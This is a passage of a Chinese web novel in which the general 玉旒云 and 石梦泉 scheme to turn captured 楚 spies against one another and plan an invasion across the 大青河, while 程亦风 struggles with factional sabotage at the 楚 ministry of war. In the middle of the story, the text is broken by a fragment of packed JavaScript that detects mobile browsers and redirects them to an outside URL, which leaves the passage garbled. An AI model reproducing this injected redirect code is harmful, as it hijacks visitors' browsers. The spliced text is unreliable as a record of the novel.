玉旒云眯着眼睛,从窗外拽过一枝红叶来,更深露重,却显得颜色更加鲜亮。“文人相轻,自古而然。武夫本来应该简单些,像我们樾国的猛士,多愿意考个武举的功名,混口饭吃。但楚国所处的南方,有千多年的历史,武林浸染文士之气,虽朝代更替,他们却仿佛自成一国,有争权的,有夺利的,有相互仇视的,有相互利用的。现在他们勉强凑在一起,但彼此间微妙的关系并未改变——你听听他们今天说的那些屁话!根深蒂固的门户之见!表面上说什么要顾全大局,其实底下不知都谋划着什么勾当呢!加上又掺和进了馘国的余孽,大家心中都不知道都多少把小算盘在噼里啪啦地打着。” “你打算让他们窝里反?”石梦泉领会到了。 玉旒云点点头:“我们只要指他们其中一个已向我投诚,其他人必担心潜伏在别处的同伙会有危险。我们可假装疏忽,让他们中个一两人逃出去,还怕此人不去通风报信么?” 石梦泉赞同,想了想又道:“暗桩子最怕就是暴露身份,一般相互之间没有太密切的联系,有时甚至除了几个必要的同伴外,根本就不知道其余细作的身份及所在。所以我们放出去的这个饵当是个管事的人,或者是个同大批细作联系的人,才能事半功倍。” “对,一点儿都不错!”玉旒云点头,“你真知我心意。如今这个饵是现成的——那个张千总,既是千总那就是楚国朝廷里的人。武林的乌合之众因朝廷有难才集结在一处,他们相互谁也不服谁,自然只能由朝廷中人来发号施令了。” “好计策。”石梦泉道,“难怪你交代潘硕务必把犯人分开来关押。” 玉旒云笑了笑,摘下一片红叶来,像一朵花儿似的嗅了嗅,道:“分开关押,好处多者呢——你以为将西京的刺客们一网成擒是我唯一的目的吗?哼,楚人会派细作,难道我就不会?” “你已经派了细作去楚国?”石梦泉一惊,“是什么时候的事?” “也就差不多你启程去南方七郡那会儿吧。”玉旒云道,“我挑了一批身手好,又机灵的人——知己知彼,百战不殆。和楚国的交锋不远了,当然要好好打探情况。这次,正好可以派上用场。现在已经知道楚国至少来了琅山派和铁剑门,只要查查这两个门派的底细,编个谎儿,说其中一家已经投诚。这个消息传回楚国去,不怕那群匹夫不翻天!” 石梦泉道:“果然如此!那么我和大人立刻分头行事,大人联络南方,我负责审问今天抓获的奸细,如何?” “也不用那么急。”玉旒云笑道,“天也晚了,你该回去休息了,累出病来岂不麻烦?” 石梦泉怔了怔,感觉这话似有弦外之意,但又捉摸不出,只好道:“我哪那么娇贵?” “难说!”玉旒云一笑,斜眼瞧着好友,“你出门,某些人怕你受伤,你做事,某些人自然要怕你劳累啦——你娘对你都不及她关心,若是她知道我深夜还派军务给你,恐怕明天就要来掀了我的屋顶。唉,我在这府里住得还算舒服,可不打算露宿街头。” 听出她用愉郡主的事调侃自己,石梦泉登时又羞又急:“怎么连你也这么说?我跟这磨人的郡主可真一点儿关系也没有!” 看他窘迫的样子十分有趣,玉旒云不轻易放过:“现在没有,将来可难说。翼王在皇上面前替人家愉郡主道出了心声,今晚上要是皇太后再把事查实了,我看赐婚的日子就在这几天。到时候你做了赵王爷的女婿,我要牵制赵王的兵力,便要有劳郡马爷了!” 石梦泉连脖子都烧得滚烫,憋了半晌,才找出一句还击的话:“连翼王的话你都信了,难怪我这种人也要做郡马。” 玉旒云果然被堵住了,好半天,狠狠捶了他一拳:“你小子,什么时候也学得这样伶牙俐齿?” 事情就按照玉旒云的计划进行。不出十天,潜伏在楚国的眼线有信来,把铁剑门的铁无缺,琅山派刘大通和曹鉴兰的底细汇报清楚。那个张千总,因为身份不同,又似乎是专司细作调遣的,所以很难查到。玉旒云不以为意:这倒正好证实了她和石梦泉的猜想。 她把潘硕叫了来,让他立即将铁无缺秘密转到刑部大牢里,然后把其他八个人带到巡捕中营的拷问室,假装逼供,实际是让他们相信铁无缺变节。由于所掌握的情况不多,撒谎务必要撒圆,就在琅山派和铁剑门头上作文章,千万不要让旁人听出破绽来。说辞是如此如此,这般这般。 潘硕道:“玉将军,卑职不及将军聪敏,恐怕难以胜任,还是将军亲自对付这些奸诈之徒比较稳妥。” 玉旒云道:“哎,你别先看轻自己。再说,区区几个不上台盘的细作,要我惊雷大将军亲自出马么?你想我这戏没唱就塌台?” 潘硕不敢吱声了。 玉旒云道:“我指你一个法子——你先按照你们惯常的规矩拷问,找两个下手有数的人。对那个张千总就下手轻些,若是缺胳膊少腿儿了,我可要找你算账。其他人你只管狠狠打,最好打得他们晕头转向,就算你说话露了破绽也听不出来。待打得差不多了,你便照我的话说一番,说完别再折腾旁的,就把他们都关回牢里去——这次,八个人都关在一处。你告诉他们,明日将他们推出午门斩首。” 潘硕记下了,照样去做,过了两个多时辰,回话说,已经都办妥了,问玉旒云下一步打算如何行事。玉旒云道:“且找你手下最好酒的几个人,着他们今晚看守大牢。你们看押楚奸都辛苦了,如今奸细即将伏法,你们功德圆满,我会让石将军送几坛好酒下去。” 潘硕愕了愕道:“下官不明白。下官管教下属,当值饮酒者要处军棍三十。步军中人人都知道酒能误事。” 玉旒云道:“我知道。不过我要一个法子能神不知鬼不觉地把那张千总放出来——你若有比醉酒更好的法子,你尽管用上。不过,你要另外挑出巡捕中营中最擅长追踪的军士,看姓张的逃出去后都往哪里去。凡他落过脚的地方,你都要给我全端了,走脱一个,休怪我在皇上面前没有好话说。” 潘硕这才想通了所以然,顿首领命。 待他走了,玉旒云便过石梦泉府去——石梦泉落雁谷之后进封将军,住的是个临时的将军府。他在南方七郡期间,玉旒云已求庆澜帝拨了一处府邸给他,但馆阁虽在,陈设却很简朴。玉旒云便又挑了几幅好字画,今日给他送去。可才出门口,就见翼王笑嘻嘻地走上前来,道:“玉将军,哪里去?” 玉旒云冷着脸,自翻身上马,不加理会。翼王也赶紧跨马追上:“玉将军有军国大事么?我其实是来感谢玉将军救命之恩的。” 玉旒云催马疾行:“我没有救过你。” “有,怎么没有?”翼王紧追不舍,“玉将军神机妙算把小王从楚奸手中救了出来,是小王的大恩人。” “王爷弄错了。”玉旒云冷冷道,“我的目的是抓捕刺客,动手抓人和救出王爷的是步军巡捕中营的潘大人。潘大人现在衙门里,王爷要谢他,不如早去。” 翼往呵呵而笑:“玉将军真是个施恩不望报的人,看来小王就算磨破了嘴皮子你也不肯承认救过小王。那不如就请玉将军把小王当成个施恩图报的人吧——当日若不是小王钻进那箱子里,遇险的恐怕就是玉将军了。” 玉旒云觉得与其同此人纠缠不清倒不如装聋作哑,当下打马疾驰。其时正是晚市时分,街上行人众多,玉旒云武将出身,鞍马工夫自然非翼王所能及。只见她在车水马龙的街上策马如飞,仿佛行于一望无际的平原一般。而翼王是个纨绔子弟,骑马春游还可应付自如,到了街上一忽而碰翻了人家的菜摊子,一忽而踢飞了别人的鸡笼子,到一条街跑完时,他满身都是尘土鸡毛菜叶子,而玉旒云早就去得远了。 翼王不甘心,又催马追赶,看玉硫云是往石梦泉家方向去的,便喊道:“玉将军是要去找石将军么?我看他今天可没空跟你商讨军务了呢!” 玉旒云愣了愣,稍稍勒住了马:“什么?” 翼王正好得了机会追个并驾齐驱:“玉将军不知道么?今天我母后娘娘在御花园翠湖边放烟花,小愉要请石将军同去,恐怕这会儿他们已经入宫了。” “有这种事?”玉旒云皱着眉头,她对愉郡主的厌恶不在翼王之下。 “玉将军指的是哪一件事?”翼王装糊涂,“如果是说小愉和石将军,我想这丫头应该是在南方七郡游玩时就相中了你的得意部下了;如果是说太后娘娘的烟花大会,将军不知道也不奇怪,因为太后差小王来请将军,将军还没给小王说话的机会呢!” 说到这里,翼王深深地望着玉旒云,想发觉她神色中细微的变化。而玉旒云冷笑了一声:“王爷说的两件都不是我指的事。” “哦?”翼王愿闻其详。 玉旒云目光如寒冰似的扫了他一眼:“我一向以为王爷身上虽然毛病众多,但至少还有个优点叫‘识趣’。自从当日我当众打了王爷一记耳光之后,王爷已经有好几个月没来自找麻烦了。这几日难道是你突然皮痒欠揍了么?” 翼王一愕,未想到玉旒云竟这样直白,毕竟他是天潢贵胄,面上实在有些挂不住,红一阵白一阵的。玉旒云就乘着这当儿“嗤”地冷笑一声,打马转进小巷子里。 这是通往石梦泉府邸的近路,走到头就看到石府前的狮子了。几个下人正在那里探头探脑,看到玉旒云都急急赶上来伺候她下马。玉旒云瞧他们神色有异,问句:“什么事?”但立刻就发现自己多此一举——停在门前一乘双驾金丝楠木马车,由于天气渐凉,挂上了织锦妆花帘子,鹅黄的流苏随风轻摆,光看着这婀娜的装饰,就仿佛已见到愉郡主了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728591|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而愉郡主也正从大门里走出来,边走边嚷嚷:“你放心,她现在一定已经到翠湖去了,太后娘娘让翼哥哥去请她,翼哥哥上次替她挡了一劫,她本来就该报答,何况这一次翼哥哥还奉的是太后娘娘的懿旨……” 才说到这儿,猛然看到玉旒云了,吓得忘了自己的话题,只道:“你……你……”一连把这个字重复了十几次。 而玉旒云的惊讶并不下于她——愉郡主身后跟着石梦泉,和两人竟好似手牵手一般。这便如同在玉旒云胸口重重捶了一拳,千百种怪异的滋味齐齐涌上心来,瞪着眼,说不出话,也动弹不得。 石梦泉见到玉旒云,脸“腾”地就红了,不肯跟愉郡主再朝前走,且举起了自己的手来。这时玉旒云才看到,原来石梦泉的腕子上套着铁镣,被和愉郡主锁在一起了。于是心中的百种滋味齐齐被愤怒冲走:“这到底是怎么一回事?” 愉郡主嘴一撅:“怎么啦?平时他都做你的应声虫,今天太后娘娘给了我懿旨,让他做我的应声虫,我就要带他进宫去。” 玉旒云怒道:“胡闹!”抽出配剑来,“唰”地直劈了过去,如削豆腐一般斩断了铁镣。 愉郡主还以为自己胳膊搬家,呆了半天才怒斥道:“玉旒云,你对本郡主不敬,你是要造反么?” 玉旒云冷冷地收剑归鞘:“郡主无缘无故用铁镣铐住石将军,乃是侮辱朝廷命官,同于藐视皇上。究竟是郡主造反还是微臣造反?” 愉郡主脖子一梗:“我是郡主,你管不着我。而且太后娘娘跟我说了,甭计较什么法子,只把石梦泉带到翠湖就好,懿旨你敢不遵?” 玉旒云轻蔑地眯起眼睛:“懿旨?在何处?凡涉及镣铐拘捕的,不论涉及士大夫还是庶民,必须有手令。郡主既带了铐子来,就请出示太后娘娘手谕。否则,要以欺君论处——微臣还要提醒郡主,我国律例,王子犯法与庶民同罪。郡主今天是去翠湖还是去宗人府,就看您有没有手令了。” 愉郡主简直要被气得跳起来了,以她的个性,倒真愿意玉旒云把自己抓到宗人府去,然后到太后面前好好哭诉一回。玉朝雾虽然母仪天下,但毕竟是别人的媳妇儿,到时候也没法为玉旒云撑腰。 石梦泉最了解玉旒云睚眦必报的脾气,同时也领教过愉郡主胡搅蛮缠的本事,自己已经深受其苦了,可不能把玉旒云也拖下水,何况愉郡主的背后还有一个不知是敌是友的赵王,他宁肯自己被捉弄,也不能拿两个人的前途命运来赌博,便连忙来劝和:“玉将军,算了吧。郡主也是一片好心要请我们去看烟花。她同我开个玩笑,你不要当真。”又向愉郡主道:“郡主,微臣没有骗您,实在有要事必须和玉将军商讨,不能赴太后娘娘的烟花会了。” 愉郡主得了台阶却不肯下:“我是来请你的,可没请她。只有翼哥哥失心疯才会喜欢跟她在一块,换了我,多看她一眼我都不乐意。” 玉旒云冷笑了一声道:“正好,微臣和石将军都忙得很,没空站在这儿让郡主看——梦泉,我们走。”说着就往石府里跨。 “不许走!”愉郡主上来要拦。可偏这个时候,翼王一人一马撵上来了,愉郡主见他,招手呼道:“翼哥哥,你快来!他们欺负……”那“我”字还没出来,只听大门“轰隆”一声,已将她关在了外面。她气得扑上来猛力擂门,可门内传来玉旒云的声音:“吩咐下去,除了巡捕中营潘大人来找我,谁敲都不许开门!”仆人都应“是”,听语气好像是强忍着嗤笑。 愉郡主又抬脚来踢——这时她已听不见玉旒云的声音了,因为玉旒和石梦泉已经穿过了前庭,边走边道:“要是用脚踢,就更加不给她开门了。哈哈哈哈。” 石梦泉陪在一边,有心要解释一下刚才的事,可又担心越描越黑,只好垂头不语,等着玉旒云先提起话头来。但玉旒云只是一路指点品评他府上的布置——何处那工匠已用足了心思,何处还要返工重修,一直讲到了花厅门口。石梦泉终于忍不住道:“我是个能将就的人,何必花这些功夫?” “哦?”玉旒云盯着他,一笑,“那你要把功夫花在哪儿?” 石梦泉多少有点“做贼心虚”,脸一红:“自然是……跟着将军征战四方。” “嘻——”玉旒云笑,“一个被小丫头用铁链铐住的人,我怎么敢让他带兵?楚国山明水秀美女如云,到时候铐的链子太多,不知你走得动走不动。” 无论如何也不要玉旒云误会自己。石梦泉双膝一曲,直挺挺地跪了下去:“将军,适才卑职一时疏忽,误落愉郡主的圈套。有失体统。请将军降罪。” “你这人!”玉旒云拉住他,“开个玩笑你就上当了。你当我不知道你为什么让着那个荒唐的郡主?你是怕我和赵王结梁子,是吧?” 石梦泉心里一热:此时立刻死了也无遗憾。 玉旒云拽他起来:“你别这样,处处都不替自己设想。你现在是将军了,多少年才挣得今天的位子?一个堂堂的将军竟被小丫头耍得团团转,传了出去你还怎么领兵服众?咱们两个人是什么样的关系外人都知道,谁要是骑在了你的头上,不也就骑在了我头上?” 啊?石梦泉心中有如电掣:我跟她的关系?什么样的关系?外人眼中如何?她的眼中又如何?是这般还是那般?唉,她已说出这样的话来,且不论这“关系”究竟怎样,我死也瞑目了! 他又是欢喜又是激动,垂头痴痴地笑了出来,再听不见玉旒云后面说了些什么。 “梦泉!”猛地,玉旒云拿画轴敲在他头上,“你有没有在听我说话?” “有。”石梦泉赶紧收回飞扬的心事。 玉旒云审视着他的脸:“唉,我看你真是被这个要命的愉郡主整傻了!我跟你说,你以后不要理她,更不要怕她——至于赵王,要是他有什么图谋不轨,咱们自然要和他撕破了脸来。现在咱们没功夫理会他有何阴谋诡计,难道他就有闲暇来找咱们的麻烦么?北疆那边他走不开。” “是。”石梦泉答道,同时深吸了一口气,警告自己再不可胡思乱想让玉旒云看出破绽来。 “好啦,好啦。”玉旒云拍拍他,“多大的事儿咱们都应付得了,还怕这个?走,看看我给你带来的字画!” 两人于是肩并肩跨进花厅去,玉旒云把带来的几幅字画一一展示给石梦泉看,多是花鸟,尤以石兰为主,此外也有书画长卷。其中一个是无名氏所作,但卷上有《梦泉》、《问泉》、《探泉》、《叩泉》、《拜泉》、《听泉》、《忆泉》七首绝句,构思精巧,辞藻古雅,读来犹如处身世外桃源。更兼,句中暗含了石梦泉的名字,玉旒云不知从何处搜了这卷诗来,可谓花足了十二分的心思。饶是石梦泉不好诗文,也诵读良久,不忍释卷。 最后一个卷轴是所有书画中最长的。石梦泉要拆开上面的丝带时,玉旒云按住了他的手:“梦泉,这幅画与别不同,咱们的将来就在这上面了,你可准备好了么?” 石梦泉愣了愣,玉旒云已解开丝带来,同他一人一边,展开了画卷——这是一幅九尺长卷,题为“万里山河图”,由漠北的茫茫雪原和苍苍群山,到南国的浩浩大海和郁郁森林,从东方小桥流水鱼米之乡,带西部的万马奔腾戈壁草原,有历代中原皇帝视为“神山”的琅山,有草原民族奉为“苍天之眼”的尼玛湖,有群山护卫下奔腾不息的大青河,还有号称“险滩九十九”怒吼不已的天江……无声无息展在面前,就已经有摄人心魄的力量。 石梦泉半晌也没有说出话来。 玉旒云指了指大青河上游高原群山中的明珠:“这里,馘国,咱们打下来了。”又指指大青合中游富庶的平原之地:“这里,铴国,咱们打下来了。还有这儿——”她指的是大青河下游最后一条支流冀水:“郑国有一半已经是我们的囊中之物,剩下那一半,就让郑国皇帝替我们先管着吧。” 顺着她的手指,石梦泉回忆起半年来的峥嵘岁月,顺境、逆境,惨烈血腥或是轻而易举,历历在目。 玉旒云的手指回到了大青河上游依阕关落雁谷。“这里,”她淡淡的,“不过是一个开始。”说时,手迅速地移到了大青河以南楚国的大片平原之上,张开手掌,恰恰压住了凉城:“我们要拿下这里,就在明年。” 她说这样的话,石梦泉一点儿也不惊讶。酝酿了十五年,再多等一刻就是多煎熬一刻。不过,楚国司马非、冷千山等将军已经驻军严守大青河沿岸要塞,要渡河进攻谈何容易?况且,虽然玉旒云在军中一段日子已经积累了一些功勋和威望——有其落雁谷之战更是被当成“奇功”一件,但她毕竟还是外放不久的亲贵子弟,军中、朝中哪有什么人脉?她说要出兵,刘子飞、吕异会赞同吗?兵部那边会赞同吗? 因而探询地望着玉旒云。 玉旒云知道他的疑问,将那《万里山河图》卷了起来,又轻轻撩起垂到额前碎发,道:“兵部有发兵之权,却无领兵之实,将军有领兵之实,却无发兵之权。本来岑广老将军是三朝元老,说一句话兵部的人也要听,因而相当于掌管我国全国兵马之事。但他年纪大了,今在西方六省作总督,其实就是让他退休的意思。如此一来,原本他的位置就空了出来——刘子飞、吕异、司徒蒙,哪一个不铆着劲儿想争取呢?” “这倒是没错。”石梦泉道,“不过,岑老将军够本领够威望才统领天下兵马,刘将军他们几个,无论谁上了都不能服众吧?” 玉旒云道:“可不是?所以他们个个都想去原来铴国和郑国的地盘上作总督,这样方便他们向东出兵,好把剩下的半个郑国也拿下。我看他们心里想的,无非是谁拿下郑国,谁就能接替岑老将军了。” “他们考虑的也不无道理。”石梦泉道,“如果将军你想巩固自己的地位,为他日统军远征楚国做准备,先拿下郑国是个不错的主意。为何你却要先打楚国?” “我不想等。”玉旒云道,“再说,要攻打楚国,我根本就不要坐上岑广的那个位子——他那位子本来就是个虚位,如今彻底不存在了,反而是件好事——也就是说,只要我能够让皇上给我一纸手谕,让我攻打楚国,兵部不会跟我罗嗦,岑广也干涉不了。” 石梦泉怔了怔,觉得这决心也太过冒险,提醒道:“我们收编了赵将军的部众,加上原来的部下,也才三万多人而已。如此远征,恐怕……” “你听我说完。”玉旒云道,“刘子飞和吕异,一个驻扎在铴地,一个驻扎在郑地,我若能以闪电战打开楚国大青河的防线,他们两个肯定会来支援——他们精于计算,怎么会不知道攻下楚国的功劳比攻下郑国要大得多?野狗虽然不能为我所驯服,但是让野狗去帮我咬别的野狗,也算是不错的交易。” 石梦泉始终还是有些顾虑:“以三万人想打开楚国大青河防线,稳妥么?” 玉旒云“嗤”地一笑:“梦泉,你怎么也变得这样畏首畏尾?倒像那楚国的程亦风了!” “程亦风?”石梦泉不解,“就是依阕关击败赵将军的那个?我哪里像他了?” 玉旒云笑道:“这个书生落雁谷之后就做了楚国兵部侍郎。如今那老态龙钟的兵部尚书彭汝愚归西,这书呆子竟然被扶正了——你猜他都干了些什么?”说着,从袖子里取出一本袖珍手札递了过去。 石梦泉见上面是一篇《攘外必先安内论》,草草读了一回,十分扣题,讲的是要抗击外敌必须先上下一心使本国富强,本国富强了,外敌可不攻而自败也。“这是程亦风写的?” 玉旒云点点头。 “你从哪里得来?” “从哪里?”玉旒云笑道,“当然是他家里。你忘了我也派了暗桩子到楚国么?这个是其中的佼佼者,已经潜伏到了程亦风的身边。之前,我听到楚国冷千山有所异动。我怕他突然发难,会将你陷在南方。不过后来,程亦风亲自率了一支队伍把冷千山制住,又把人家筹集的军饷都分发给了当地的百姓——冷千山靠这几十万石的粮食进可攻、退可守,足够给我国造成麻烦了,却被程亦风破坏——那暗桩子报告说,程亦风就是担心我军注意到他们屯兵运粮,所以就先来表态,表示不想开战呢。” “几十万石粮草调集不易,”石梦泉道,“如果是障眼法,未免代价也太大。” 玉旒云道:“可不?程亦风这个人,哼,就是把人命看得比什么都紧要。说好听些,是大仁大义,说难听点儿,就是缩头乌龟,胆小如鼠——你可不要学他哦!” 石梦泉笑笑:“那么你的意思是,程亦风如今掌握楚国兵权,他越不想开战,我们就越可以出其不意地攻过河去?可是,怎么才能出其不意呢?” 玉旒云没有立刻回答,把眼笑望着他,忽然伸手在他眉心一戳:“大蝗虫!” “哎?”石梦泉莫名其妙。 “顾长风不是很想我们去南方七郡杀灭蝗虫卵么?楚人的奸细大概也知道这件事吧?”玉旒云道,“那么我们就去灭蝗虫好了,然后就可以如飞蝗一般攻进楚国。” “这……”石梦泉理会得这计划的巧妙,“不过,没有皇上的手谕,兵部难免还是会追究的!” “谁说没有皇上的手谕了?”玉旒云嘻嘻一笑,“取出一幅叠好的黄绫——这是皇上给我的生日礼物。” 石梦泉一惊:“是秘旨?” 玉旒云点头:“还有呢——他之前答应我的黄金狮子旗,已经做好了。我们就一起把这面大旗插到楚国去!” 11. 第 11 章 玉旒云只知道程亦风做了兵部尚书,又写了《攘外必先安内论》,却不知道其实程探花这尚书做得比坐牢还痛苦。 却说他从鹿鸣山归来之后,就做好了让人弹劾的准备——毕竟,土匪一个没有剿灭,粮食又一粒也没收回,还让冷千山受了一番羞辱,这罪过可大了。董鹏枭等人也果然开始大做文章——尤其这时候兵部尚书彭汝愚的病一发严重了,冷千山一党迫切地要把程亦风从兵部赶走,好把自己人拥戴上尚书之位。 可惜,太子竣熙却对招安土匪一节大加赞赏,又认为程亦风当机立断就地散粮,防止了百姓揭竿起义,实在是大功一件。董鹏枭等人还没来得及想出新的花样来,彭汝愚已经寿终正寝,程亦风自然被太子金口指为兵部尚书的接任者。 竣熙以为这是帮了程亦风一个大忙,又是为国家社稷做了一件大好事。而实际上,两样都不然。 程亦风正式接了兵部尚书官印之后,兵部众人就开始纷纷告病,一个诺大的衙门有时连倒茶扫地的人也不见,程大人来办公了,四处静得便是针掉在地上都能听到。 公孙天成并不以为这是坏事:“与其和一群阳奉阴违的下属共事,倒不如另选一批真正愿意和大人共同进退的有识之士。从兵部开始,整顿整顿朝廷的歪风邪气,这不也很好吗?既然他们都有病,就都让他们回乡去好了。” 程亦风虽然佩服公孙天成的才学,不过觉得楚国朝廷就像是千疮百孔的破船,不是哪个或者哪几个有识之士靠打打补丁就能挽救的。一旦要大动干戈地改革,就等同于要造一条新船——在大青河彼岸虎视眈眈的樾国能够给楚国这样的机会吗?尤其,兵部负责国家防务,如果兵部乱了,就等于把国家的铠甲脱下来,等着敌人来打,那还了得?所以他大摇其头:“不行,不行。现在不是时候。况且,我程某人也不是那个人才。” 公孙天成理会得他的顾虑,道:“大人自然是不想兵部出乱子,以免给樾国可乘之机。然而你一味地迁就冷千山等人,兵部就不会出乱子了吗?再说,大人不是人才,莫非冷千山等人是人才?” 程亦风道:“他们也许结党营私,不过至少还是会打仗的。我是一介手无缚鸡之力的书生,兵部交给了我,可不就乱套了么?我有什么本事,先生在鹿鸣山也看得很清楚了。” 公孙天成笑道:“不错,老朽是看得很清楚,否则又怎么会出山追随大人?大人的才能也许不在诡诈之道,也不在运筹帷幄,但是大人有仁者之心,天下英雄甘心归附,有大人坐镇兵部,还怕谋臣战将不来与你同舟共济么?” 程亦风决不相信自己有如此号召力,摆手道:“先生莫要安慰我啦。我自己有几斤几两,自己清楚得很。只希望能胜任此位的人选快点儿出现,我就可以退位让贤了。” 公孙天成知道不能勉强他,只有笑笑,暂时把这话题抛开一边去。 程亦风这边厢只想“做一天和尚撞一天钟”,而冷千山一党却不让他撞钟撞得这么轻松。非但兵部官员继续装病,其他官员鸡蛋里挑骨头的折子也一封接一封地呈递上去——其中有棘州太守抱怨程亦风散粮以致周边饥民蜂拥而来,造成治安混乱的,有郾州太守抗议剿匪不力使山贼愈加嚣张的,还有新任安德县令指责程亦风铺下烂摊子叫他来收拾的——程亦风对这个最是不解,靖武殿发来叫他答辩的折子拿给臧天任看:“琅山派和铁剑门在安德县打大出手,怎么也怪到我头上来了?就算怎的要随便找个人说是他的‘烂摊子’,那也是臧兄你的问题呢!” 臧天任道:“唉。君子以同道为朋,小人以同利为朋。他们现在一心要联合起来‘倒程’,自然抱成一团变着方儿来找你的麻烦——你就如此答辩,说你不做安德县令已久,让老哥哥我来替你挡一挡。” 程亦风虽然不好意思麻烦朋友,但是自己实在已经被董鹏枭等人搞得焦头烂额,只有暂时把这烫手的丢给了臧天任。而臧天任也不负所托,将那折子批得毫无反驳之余地,竣熙听后,在大殿上金口判道:“绿林中人向来不服天威,尝以械斗为乐,地方官员以维护一方安宁为己任,应该约束江湖中人,如有败坏法纪的,应当处以极刑,以儆效尤。以后此等鸡毛蒜皮之事,不必专奏到靖武殿,浪费公帑!” 他既有此定论,安德县令也就不敢再上奏章。而这以后实际上楚国各地江湖纷争升级,但没有一个地方官——无论是否冷千山一党的——敢上报中央的。一直到十一月中,凉城附近也发生了十数次械斗,顺天府按照竣熙的指示逮捕了几十个人回来打算“杀之以正法纪”,审问之时,才发现关乎细作变节,权衡再三,终于又报告到了兵部。 那当儿,兵部只有几个人在办公,但其中正中有董鹏枭派来监视程亦风的,听言,一溜烟跑去将这事报告给董鹏枭知道。后者虽然是参与部署细作网络的人之一,却一点儿也不担心,反而开心得拊掌大笑:“好!又找着个由头!”当即召集了一群人,联名上疏指责程亦风管理不力,致使他们精心布置的细作网络被破坏。 程亦风丈二和尚摸不着头脑:“他们的细作,我单知道有个姓张的千总,哪里又和江湖豪杰扯上了关系?” “那就不要理他们。”臧天任道,“我看太子殿下对他们也厌烦了。只要太子不受他们蛊惑,他们想要兴风作浪也不行。” 程亦风暗想:这也有道理,先把这一年熬过去再说。 不过别人却不给他这机会,十二月初的时候,冷千山、向垂杨、鲁崇明三人竟“不约而同”一齐回到了京城,众口一词地说“有病”,待竣熙亲自上门去探望,他们又都说:程亦风把兵部搞得衙门不像衙门,如果兵部不能整顿起来,他们三人决不回边关——哪怕是治他们渎职罪砍他们的脑袋,他们也不愿被一个乌烟瘴气的兵部领导。 竣熙有心做和事老,却实在不晓得从何劝起。偏偏这个时候,司马非发来消息:玉旒云和石梦泉两人率领三万兵士再次来到南方七郡,名为治蝗,而实际上可能打算渡河南侵。他请求兵部立刻发令,主动出击。 公文之外,还有给程亦风的一封信,大意是,你在尚书的位子上如坐针毡,都是因为你没有服众的功绩与能力,如果你重新和我联手向玉旒云报了落雁谷之仇,则你的尚书之位可以坐稳,而我在前线更无后顾之忧,杀尽樾寇,保家卫国,岂不两全? “什么两全?”程亦风气得把乌纱都摔到了地上,“还不就是逼我和他结党?我好希罕坐稳这个位子么?罢了!罢了!既然这帮‘搅屎棍’把百姓与社稷都当成争名夺利的工具,还能指望他们干什么?且把他们都撤了,我也不干了。就不信诺大的楚国还找不出别的人才来!这歪风邪气简直就像病一样,越拖就越麻烦!” “大人如果早想撤换他们,倒也好了。”公孙天成拣起他的乌纱来,掸了掸,恭恭敬敬地递了回去,“不过如今却到了你之前所虑的‘樾寇虎视眈眈’的紧要关头,所以一个也撤不得!” “先生莫非也觉得玉旒云会南下?”程亦风道,“她带了三万人——我国大青河随便哪个要塞都驻扎着两、三万人,且要塞相隔不远,可以互相支援,又是背山面水,易守难攻——她三万人怎么可能渡河南侵?莫非不要命了么?” 公孙天成道:“她怎样渡河,我倒还真没有想到。但是樾国南方七郡有两座重镇,就是上游的石坪和下游的锁月,其对面正好也是我国的两座重镇,平崖和远平——大人相信她真是来治蝗的么?” “玉旒云诡计多端。”程亦风道,“之前她故意放消息给我们的细作,说让石梦泉去南方七郡督粮,实际就是去治蝗。这次……既然三万人不可能渡河南下,她故意气势汹汹地来,多半也是烟幕,怕治蝗时被我军突袭。如此而已。” “如果是要治蝗,她亲自来干什么?”公孙天成道,“所谓兵不厌诈,但是同样的计策用两遍,效果会不同吧?大人自己也摆过两回空城计,难道还不清楚吗?” 程亦风抓着脑袋:“这……” 公孙天成道:“况且,大人不觉得那个细作网络被打破,绿林豪杰自相残杀是某些人有心促成的么?” 程亦风虽然不习惯以恶意来揣测他人,但是公孙天成这话出口,他最先想到的是冷千山等人故意生事来排挤自己,转了个弯儿才意识到公孙天成指的是玉旒云。“玉旒云有天大的本事能够让我国的武林豪杰自相残杀?” 公孙天成道:“这也不需要‘天大’的本事。只要本来大家心中有鬼,外人想挑拨是非常容易的。就像现在的朝廷,樾寇还没有别具用心地插手呢,不是已经乱成一锅粥了吗?武林也是如此。大人没听顺天府说争斗的原因是一批人行刺樾国皇帝不成被擒后变节以致其他同胞也惨被牵连么?这‘变节’之说,还不是樾人传出来的?当然是随便他们怎么说都行。我楚国的绿林豪杰本来相互猜忌,正好被樾人利用了。” “绿林好汉难道不是应该都像杀鹿帮的邱英雄他们一样么?”程亦风叹道,“应该能为朋友一诺而独行千里,为国家存亡而抛头颅、洒热血……” 公孙天成笑了起来:“大人说的是‘应该’,况且你那‘应该’恐怕都是话本传奇里来的吧?那朝廷中还‘应该’文官不贪财,武官不怕死呢!实际又如何呢?” 程亦风一愕,接着苦笑道:“先生说的没错,所以我程某人还是应该退隐田园,写写传奇话本。” “大人千万不要这样说。”公孙天成道,“如果大人真的这么做了,那还有谁把国家社稷朝‘应该’的那条路上推?就算大人想要退隐田园过逍遥日子,如果天下不太平,这个愿望也不能实现吧?” 程亦风一怔:“这……”他挫败地挠着头:“程某高谈阔论,其实自己也是个孱头,叫先生看穿了——以先生之见,现在兵部被闹得乌烟瘴气,朝廷里尽是党派纷争,樾军又……又可能会有不轨企图,以我一人之力,怎样才能力挽狂澜?” “如何是大人‘一人之力’呢?”公孙天成道,“司马将军不是想和你联手吗?其实以现在的情形来看,和樾军一战,的确是最好的方法。” “什么?”程亦风一惊,再次把乌纱掉在了地上,“先生说主动出击……和……和樾军交战?” 